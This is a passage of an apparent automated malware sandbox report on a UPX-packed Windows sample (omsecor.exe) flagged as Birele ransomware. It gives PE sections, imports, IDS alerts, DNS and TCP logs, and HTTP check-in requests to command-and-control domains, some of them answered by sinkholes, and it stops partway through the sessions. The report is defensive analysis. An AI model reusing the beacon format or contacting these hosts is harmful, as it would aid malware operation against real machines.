IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2b6c0	0x48	UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x22000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x23000	0x9000	0x8800	0a37ff92c9244f27273c00df63b5aeed	False	0.98779296875	data	7.909688451472698	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX2	0x2c000	0x1000	0x200	f7ad827edeffa7b703cdfd6c8aa7c086	False	0.544921875	data	3.9687619393335836	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
ADVAPI32.dll	RegCloseKey
KERNEL32.DLL	LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect
ole32.dll	CoInitialize
OLEAUT32.dll	VariantClear
SHELL32.dll	SHGetFolderPathW
SHLWAPI.dll	StrStrIW
USER32.dll	SetParent
WININET.dll	InternetOpenW

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-08T06:09:37.850228+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49749	193.166.255.171	80	TCP
2024-09-08T06:09:37.868813+0200	2016998	ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host)	1	192.168.2.4	49730	193.166.255.171	80	TCP
2024-09-08T06:09:38.569119+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49730	193.166.255.171	80	TCP
2024-09-08T06:10:00.064197+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49731	193.166.255.171	80	TCP
2024-09-08T06:10:00.848191+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49738	64.225.91.73	80	TCP
2024-09-08T06:10:01.919056+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49739	52.34.198.229	80	TCP
2024-09-08T06:10:01.919142+0200	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	52.34.198.229	80	192.168.2.4	49739	TCP
2024-09-08T06:10:01.919142+0200	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	52.34.198.229	80	192.168.2.4	49739	TCP
2024-09-08T06:10:23.623919+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49740	193.166.255.171	80	TCP
2024-09-08T06:10:45.111484+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49741	193.166.255.171	80	TCP
2024-09-08T06:10:45.834962+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49743	64.225.91.73	80	TCP
2024-09-08T06:10:46.699343+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49744	52.34.198.229	80	TCP
2024-09-08T06:11:08.188034+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49745	193.166.255.171	80	TCP
2024-09-08T06:11:29.708209+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49746	193.166.255.171	80	TCP
2024-09-08T06:11:30.431154+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49747	64.225.91.73	80	TCP
2024-09-08T06:11:31.264187+0200	2015786	ET MALWARE Ransom.Win32.Birele.gsg Checkin	1	192.168.2.4	49748	52.34.198.229	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 8, 2024 06:09:37.868813038 CEST	49730	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:09:37.873640060 CEST	80	49730	193.166.255.171	192.168.2.4
Sep 8, 2024 06:09:37.873740911 CEST	49730	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:09:37.874025106 CEST	49730	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:09:37.878842115 CEST	80	49730	193.166.255.171	192.168.2.4
Sep 8, 2024 06:09:38.568983078 CEST	80	49730	193.166.255.171	192.168.2.4
Sep 8, 2024 06:09:38.569118977 CEST	49730	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:09:38.569185972 CEST	49730	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:09:38.573942900 CEST	80	49730	193.166.255.171	192.168.2.4
Sep 8, 2024 06:09:38.678809881 CEST	49731	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:09:38.683886051 CEST	80	49731	193.166.255.171	192.168.2.4
Sep 8, 2024 06:09:38.683988094 CEST	49731	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:09:38.684099913 CEST	49731	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:09:38.688827038 CEST	80	49731	193.166.255.171	192.168.2.4
Sep 8, 2024 06:10:00.064033985 CEST	80	49731	193.166.255.171	192.168.2.4
Sep 8, 2024 06:10:00.064197063 CEST	49731	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:00.064429045 CEST	49731	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:00.069154024 CEST	80	49731	193.166.255.171	192.168.2.4
Sep 8, 2024 06:10:00.228801966 CEST	49738	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:10:00.233632088 CEST	80	49738	64.225.91.73	192.168.2.4
Sep 8, 2024 06:10:00.233724117 CEST	49738	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:10:00.233843088 CEST	49738	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:10:00.238615990 CEST	80	49738	64.225.91.73	192.168.2.4
Sep 8, 2024 06:10:00.848057985 CEST	80	49738	64.225.91.73	192.168.2.4
Sep 8, 2024 06:10:00.848191023 CEST	49738	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:10:01.176980019 CEST	49739	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:10:01.181814909 CEST	80	49739	52.34.198.229	192.168.2.4
Sep 8, 2024 06:10:01.181921959 CEST	49739	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:10:01.182065964 CEST	49739	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:10:01.186829090 CEST	80	49739	52.34.198.229	192.168.2.4
Sep 8, 2024 06:10:01.918982983 CEST	80	49739	52.34.198.229	192.168.2.4
Sep 8, 2024 06:10:01.919055939 CEST	49739	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:10:01.919142008 CEST	80	49739	52.34.198.229	192.168.2.4
Sep 8, 2024 06:10:01.919186115 CEST	49739	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:10:01.922857046 CEST	49739	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:10:01.927676916 CEST	80	49739	52.34.198.229	192.168.2.4
Sep 8, 2024 06:10:02.237103939 CEST	49738	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:10:02.237821102 CEST	49740	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:02.242651939 CEST	80	49740	193.166.255.171	192.168.2.4
Sep 8, 2024 06:10:02.242733002 CEST	49740	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:02.242902994 CEST	49740	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:02.247637033 CEST	80	49740	193.166.255.171	192.168.2.4
Sep 8, 2024 06:10:23.623823881 CEST	80	49740	193.166.255.171	192.168.2.4
Sep 8, 2024 06:10:23.623919010 CEST	49740	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:23.624063969 CEST	49740	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:23.628832102 CEST	80	49740	193.166.255.171	192.168.2.4
Sep 8, 2024 06:10:23.741519928 CEST	49741	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:23.746465921 CEST	80	49741	193.166.255.171	192.168.2.4
Sep 8, 2024 06:10:23.746572018 CEST	49741	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:23.746695995 CEST	49741	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:23.751492977 CEST	80	49741	193.166.255.171	192.168.2.4
Sep 8, 2024 06:10:45.111398935 CEST	80	49741	193.166.255.171	192.168.2.4
Sep 8, 2024 06:10:45.111484051 CEST	49741	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:45.111617088 CEST	49741	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:45.116381884 CEST	80	49741	193.166.255.171	192.168.2.4
Sep 8, 2024 06:10:45.229593039 CEST	49743	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:10:45.234468937 CEST	80	49743	64.225.91.73	192.168.2.4
Sep 8, 2024 06:10:45.234572887 CEST	49743	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:10:45.234721899 CEST	49743	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:10:45.239470959 CEST	80	49743	64.225.91.73	192.168.2.4
Sep 8, 2024 06:10:45.834861040 CEST	80	49743	64.225.91.73	192.168.2.4
Sep 8, 2024 06:10:45.834961891 CEST	49743	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:10:45.964600086 CEST	49744	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:10:45.969512939 CEST	80	49744	52.34.198.229	192.168.2.4
Sep 8, 2024 06:10:45.969590902 CEST	49744	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:10:45.969717979 CEST	49744	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:10:45.974445105 CEST	80	49744	52.34.198.229	192.168.2.4
Sep 8, 2024 06:10:46.699193954 CEST	80	49744	52.34.198.229	192.168.2.4
Sep 8, 2024 06:10:46.699304104 CEST	80	49744	52.34.198.229	192.168.2.4
Sep 8, 2024 06:10:46.699342966 CEST	49744	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:10:46.699381113 CEST	49744	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:10:46.700825930 CEST	49744	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:10:46.705569029 CEST	80	49744	52.34.198.229	192.168.2.4
Sep 8, 2024 06:10:46.804280043 CEST	49745	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:46.809113026 CEST	80	49745	193.166.255.171	192.168.2.4
Sep 8, 2024 06:10:46.809205055 CEST	49745	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:46.809555054 CEST	49745	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:10:46.814285994 CEST	80	49745	193.166.255.171	192.168.2.4
Sep 8, 2024 06:11:08.187849045 CEST	80	49745	193.166.255.171	192.168.2.4
Sep 8, 2024 06:11:08.188034058 CEST	49745	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:11:08.190496922 CEST	49745	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:11:08.196855068 CEST	80	49745	193.166.255.171	192.168.2.4
Sep 8, 2024 06:11:08.304382086 CEST	49746	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:11:08.309269905 CEST	80	49746	193.166.255.171	192.168.2.4
Sep 8, 2024 06:11:08.309390068 CEST	49746	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:11:08.309528112 CEST	49746	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:11:08.314253092 CEST	80	49746	193.166.255.171	192.168.2.4
Sep 8, 2024 06:11:29.708012104 CEST	80	49746	193.166.255.171	192.168.2.4
Sep 8, 2024 06:11:29.708209038 CEST	49746	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:11:29.708329916 CEST	49746	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:11:29.713083982 CEST	80	49746	193.166.255.171	192.168.2.4
Sep 8, 2024 06:11:29.819756031 CEST	49743	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:11:29.820064068 CEST	49747	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:11:29.827574015 CEST	80	49747	64.225.91.73	192.168.2.4
Sep 8, 2024 06:11:29.827599049 CEST	80	49743	64.225.91.73	192.168.2.4
Sep 8, 2024 06:11:29.827713966 CEST	49743	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:11:29.827929974 CEST	49747	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:11:29.828027964 CEST	49747	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:11:29.832746029 CEST	80	49747	64.225.91.73	192.168.2.4
Sep 8, 2024 06:11:30.431056023 CEST	80	49747	64.225.91.73	192.168.2.4
Sep 8, 2024 06:11:30.431154013 CEST	49747	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:11:30.539360046 CEST	49748	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:11:30.544280052 CEST	80	49748	52.34.198.229	192.168.2.4
Sep 8, 2024 06:11:30.544382095 CEST	49748	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:11:30.544548988 CEST	49748	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:11:30.549633026 CEST	80	49748	52.34.198.229	192.168.2.4
Sep 8, 2024 06:11:31.263989925 CEST	80	49748	52.34.198.229	192.168.2.4
Sep 8, 2024 06:11:31.264187098 CEST	49748	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:11:31.264245033 CEST	80	49748	52.34.198.229	192.168.2.4
Sep 8, 2024 06:11:31.264298916 CEST	49748	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:11:31.264935017 CEST	49748	80	192.168.2.4	52.34.198.229
Sep 8, 2024 06:11:31.269644022 CEST	80	49748	52.34.198.229	192.168.2.4
Sep 8, 2024 06:11:31.461023092 CEST	49747	80	192.168.2.4	64.225.91.73
Sep 8, 2024 06:11:31.482765913 CEST	49749	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:11:31.487654924 CEST	80	49749	193.166.255.171	192.168.2.4
Sep 8, 2024 06:11:31.487795115 CEST	49749	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:11:31.488007069 CEST	49749	80	192.168.2.4	193.166.255.171
Sep 8, 2024 06:11:31.492760897 CEST	80	49749	193.166.255.171	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 8, 2024 06:09:37.850228071 CEST	49247	53	192.168.2.4	1.1.1.1
Sep 8, 2024 06:09:37.863498926 CEST	53	49247	1.1.1.1	192.168.2.4
Sep 8, 2024 06:10:00.189300060 CEST	51870	53	192.168.2.4	1.1.1.1
Sep 8, 2024 06:10:00.227742910 CEST	53	51870	1.1.1.1	192.168.2.4
Sep 8, 2024 06:10:00.962553978 CEST	49304	53	192.168.2.4	1.1.1.1
Sep 8, 2024 06:10:01.175406933 CEST	53	49304	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 8, 2024 06:09:37.850228071 CEST	192.168.2.4	1.1.1.1	0x5738	Standard query (0)	lousta.net	A (IP address)	IN (0x0001)	false
Sep 8, 2024 06:10:00.189300060 CEST	192.168.2.4	1.1.1.1	0xf579	Standard query (0)	mkkuei4kdsz.com	A (IP address)	IN (0x0001)	false
Sep 8, 2024 06:10:00.962553978 CEST	192.168.2.4	1.1.1.1	0xbf57	Standard query (0)	ow5dirasuek.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 8, 2024 06:09:37.863498926 CEST	1.1.1.1	192.168.2.4	0x5738	No error (0)	lousta.net	193.166.255.171	A (IP address)	IN (0x0001)	false
Sep 8, 2024 06:10:00.227742910 CEST	1.1.1.1	192.168.2.4	0xf579	No error (0)	mkkuei4kdsz.com	64.225.91.73	A (IP address)	IN (0x0001)	false
Sep 8, 2024 06:10:01.175406933 CEST	1.1.1.1	192.168.2.4	0xbf57	No error (0)	ow5dirasuek.com	52.34.198.229	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

lousta.net

mkkuei4kdsz.com

ow5dirasuek.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.166.255.171	80	6644	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:09:37.874025106 CEST	186	OUT	GET /303/619.html HTTP/1.1 From: 133702421766157995 Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</4a.6e.5a+28/3b^a4^761d5-.3,0d,0 Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.166.255.171	80	6644	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:09:38.684099913 CEST	186	OUT	GET /895/196.html HTTP/1.1 From: 133702421766157995 Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</4a.6e.5a+28/3b^a4^761d5-.3,0d,0 Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	64.225.91.73	80	6644	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:10:00.233843088 CEST	191	OUT	GET /100/325.html HTTP/1.1 From: 133702421766157995 Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</4a.6e.5a+28/3b^a4^761d5-.3,0d,0 Host: mkkuei4kdsz.com Connection: Keep-Alive
Sep 8, 2024 06:10:00.848057985 CEST	816	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Sun, 08 Sep 2024 04:10:00 GMT content-type: text/html content-length: 593 last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: "63f68860-251" accept-ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED] Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	52.34.198.229	80	6644	C:\Users\user\AppData\Roaming\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:10:01.182065964 CEST	191	OUT	GET /179/569.html HTTP/1.1 From: 133702421766157995 Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</4a.6e.5a+28/3b^a4^761d5-.3,0d,0 Host: ow5dirasuek.com Connection: Keep-Alive
Sep 8, 2024 06:10:01.918982983 CEST	413	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 08 Sep 2024 04:10:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=96b9553d4f1c07b4ccb89e66c39fa5d4\|8.46.123.33\|1725768601\|1725768601\|0\|1\|0; path=/; domain=.ow5dirasuek.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.33; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	193.166.255.171	80	3868	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:10:02.242902994 CEST	186	OUT	GET /467/386.html HTTP/1.1 From: 133702422009751771 Via: hprkjvr_vjwA<19cdsifA:_tfser>5514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26 Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	193.166.255.171	80	3868	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:10:23.746695995 CEST	185	OUT	GET /976/76.html HTTP/1.1 From: 133702422009751771 Via: hprkjvr_vjwA<19cdsifA:_tfser>5514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26 Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	64.225.91.73	80	3868	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:10:45.234721899 CEST	190	OUT	GET /130/71.html HTTP/1.1 From: 133702422009751771 Via: hprkjvr_vjwA<19cdsifA:_tfser>5514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26 Host: mkkuei4kdsz.com Connection: Keep-Alive
Sep 8, 2024 06:10:45.834861040 CEST	816	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Sun, 08 Sep 2024 04:10:45 GMT content-type: text/html content-length: 593 last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: "63f68860-251" accept-ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED] Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	52.34.198.229	80	3868	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:10:45.969717979 CEST	295	OUT	GET /59/409.html HTTP/1.1 From: 133702422009751771 Via: hprkjvr_vjwA<19cdsifA:_tfser>5514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26 Host: ow5dirasuek.com Connection: Keep-Alive Cookie: snkz=8.46.123.33; btst=96b9553d4f1c07b4ccb89e66c39fa5d4\|8.46.123.33\|1725768601\|1725768601\|0\|1\|0
Sep 8, 2024 06:10:46.699193954 CEST	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 08 Sep 2024 04:10:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=96b9553d4f1c07b4ccb89e66c39fa5d4\|8.46.123.33\|1725768646\|1725768601\|22\|2\|0; path=/; domain=.ow5dirasuek.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	193.166.255.171	80	3868	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:10:46.809555054 CEST	186	OUT	GET /347/423.html HTTP/1.1 From: 133702422009751771 Via: hprkjvr_vjwA<19cdsifA:_tfser>6514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26 Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	193.166.255.171	80	3868	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:11:08.309528112 CEST	186	OUT	GET /601/938.html HTTP/1.1 From: 133702422009751771 Via: hprkjvr_vjwA<19cdsifA:_tfser>6514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26 Host: lousta.net Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49747	64.225.91.73	80	3868	C:\Windows\SysWOW64\omsecor.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 06:11:29.828027964 CEST	190	OUT	GET /88/221.html HTTP/1.1 From: 133702422009751771 Via: hprkjvr_vjwA<19cdsifA:_tfser>6514546cpwB7652bpf}B5:g4<k4;g18>59hdg:d=<7j;34926j26 Host: mkkuei4kdsz.com Connection: Keep-Alive
